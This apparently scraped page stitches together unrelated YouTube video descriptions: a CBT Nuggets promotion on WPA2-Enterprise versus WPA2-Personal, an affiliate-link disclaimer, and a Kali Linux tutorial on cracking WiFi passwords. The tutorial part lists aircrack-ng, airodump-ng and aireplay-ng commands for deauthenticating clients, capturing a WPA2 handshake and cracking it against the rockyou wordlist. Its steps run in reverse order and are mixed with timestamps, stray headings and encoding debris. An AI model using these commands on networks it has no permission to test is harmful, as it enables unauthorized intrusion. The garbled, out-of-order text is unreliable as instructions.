The common WPA-2 Personal method relies on a pre-shared key - or passcode - to authorize access to a network. WPA-2 Enterprise and WPA-2 Personal differ in one key way: where authentication happens. Since using a pre-shared key on each device is implausible on huge networks, secure networks with WPA-2 Enterprise, which enables any authentication method you prefer. In this video, Jeremy Cioara covers WPA2-Enterprise, how it differs from WPA-Personal, and why you should deploy it on your network. Start learning cybersecurity with CBT Nuggets. Thank you for supporting me and this channel! Please note that links listed may be affiliate links and provide me with a small percentage/kickback should you use them to purchase any of the items listed or recommended. !Replace hack1-01.cap with your file nameĪircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt !Make sure you have rockyou in text format (unzip file on Kali) !Crack file with Rock you or another wordlist Sudo aireplay-ng deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon !Make sure you replace the bssid with your own Sudo airodump-ng -w hack1 -c 2 bssid 90:9A:4A:B8:F3:FB wlan0mon !Replace hack1 with your file name like capture1 or something !Make sure you replace the channel number and bssid with your own ! AP-MAC & channel - you need to select your own here: !You could also use iwconfig to check that interface is in monitor mode:
#Security wep vs wpa password#
Put interface back into managed mode: 9:30Ĭrack WPA2 password with aircrack-ng: 10:10 Use Wireshark to view WPA2 four way handshake: 8:38 Use aireplay-ng to deauthenticate clients: 7:25 Use airodump-ng to view only one network: 6:20Īirodump-ng capture WPA2 four way handshake: 6:58 Kill conflicting processes with airmon-ng: 3:55ĭiscover WiFi Networks with airodump-ng: 5:15 Verify that network adapter is recognized by Kali Linux: 2:04 Use airmon-ng to crack WiFi networks: 0:00 I discuss network adapters, airmon-ng, airodump-ng, aircrack-ng and more in this video.
#Security wep vs wpa full#
Full process using Kali Linux to crack WiFi passwords.
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